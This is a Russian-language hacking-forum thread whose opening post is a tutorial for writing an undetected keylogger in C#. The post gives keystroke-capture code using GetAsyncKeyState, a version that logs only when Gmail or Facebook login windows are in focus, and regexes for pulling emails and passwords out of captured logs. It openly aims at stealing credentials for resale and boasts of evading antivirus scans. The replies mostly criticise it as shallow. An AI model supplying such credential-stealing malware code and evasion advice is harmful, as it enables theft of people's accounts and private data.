Перейти к публикации

KingWorld

Кейлоггер с нулевым детектом

Рекомендованные сообщения

Здарова, бандиты!
Сегодня расскажу как создать свой кейлоггер, который не будет обнаружен ни одним из существующих антивирусов. А главное это все на халяву!
Ах, да чуть не забыл,  что статья написана в образовательных целях. Мы не несем ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Введение
Кейлоггер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлоггеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлоггера достаточно легко запрограммировать.
Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлоггер стойким к перезагрузкам или пытаться сделать его абсолютно беспалевным, благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
За дело!
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);
GetAsyncKeyState - эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются хакеру, т.е. нам.
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлоггеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлоггер
Давайте предположим, что хакер смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес
2. ^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (и найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[\w!#$%&amp;'*+\-/=?\^_`{|}~]+(\.[\w!#$%&amp;'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])");
3. string email = "[email protected]";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и без детектов
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлоггера за 30 минут.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для антивирусных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим.

Поделиться сообщением


Ссылка на сообщение

Ты когда код копипастишь, хоть попытайся разметку сохранять, а не не видно нихрена же

Поделиться сообщением


Ссылка на сообщение

Понимаю, что текст ориентирован на людей с околонулевыми знаниями, но всё же.

Предлагается использовать стандартный метод GetAsyncKeyState из виндовой библиотеки winuser.h. А есть ли менее очевидный способ реализации кейлоггера (без подобного эксгибиционизма по отношению к winapi)? Думаю как-раз таки у многих антивирусов незамедлительно встанет на такое поведение.

Вопрос поставки кода на целевую машину не решен. Может быть подразумевается что на машине запускается VS и компилится эксешник? А есть пример хоть одной задачи при подобном (видимо физическом) уровне доступа к ПК для которой бы понадобился кейлоггер?

Ладно если даже опустить вопросы поставки и распространения кода т.к. это дейсвительно отдельный кластер задач.
Даже, так уж и быть, можно опустить вопросы маскировки в рабочей среде, чтобы не быть вычисленным моментально и стать "стойким к перезагрузке"

Но как же другие задачи которые должен решать кейлогер? Хранение и запись информации (желательно беспалевная). Вопрос передачи? Предлагается использовать для этого "файлы с гигабайтами текста", че прям в текстовик на компутере будем писать? А если нет прав на запись, как быть? А если мы этот ехешник другу закинули, и он у него там начал писать, как мы подобную информацию с его компа заберём потом?

Какой-то непоследовательный подход предложен в этой статье, можно же было хотя бы в базовом варианте описать все компоненты, подводные камни, что для этого понадобится.

Если у вас есть опыт промышленного написания кейлоггеров, может попробуете поделиться чем-то действительно полезным?

А если такого опыта нет, может быть подавать тему как попытку, эксперимент? Поставить вопрос и привлечь сообщество к решению?) Мне было бы интересно например подумать над решением парочки задач, связанных с созданием кейлоггеров. Хотя я считаю, практический смысл подобных программ для незаконного извлечения информации равняется нулю. Думаю, с пользой применять их можно только как штатную часть информационной системы безопасности с кучей всяких расширенных функций. И в таком случае скрытая работа подобного софта не подразумевается по определению.

Поделиться сообщением


Ссылка на сообщение

Этот текст паста голимая, без осознания того что делается

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...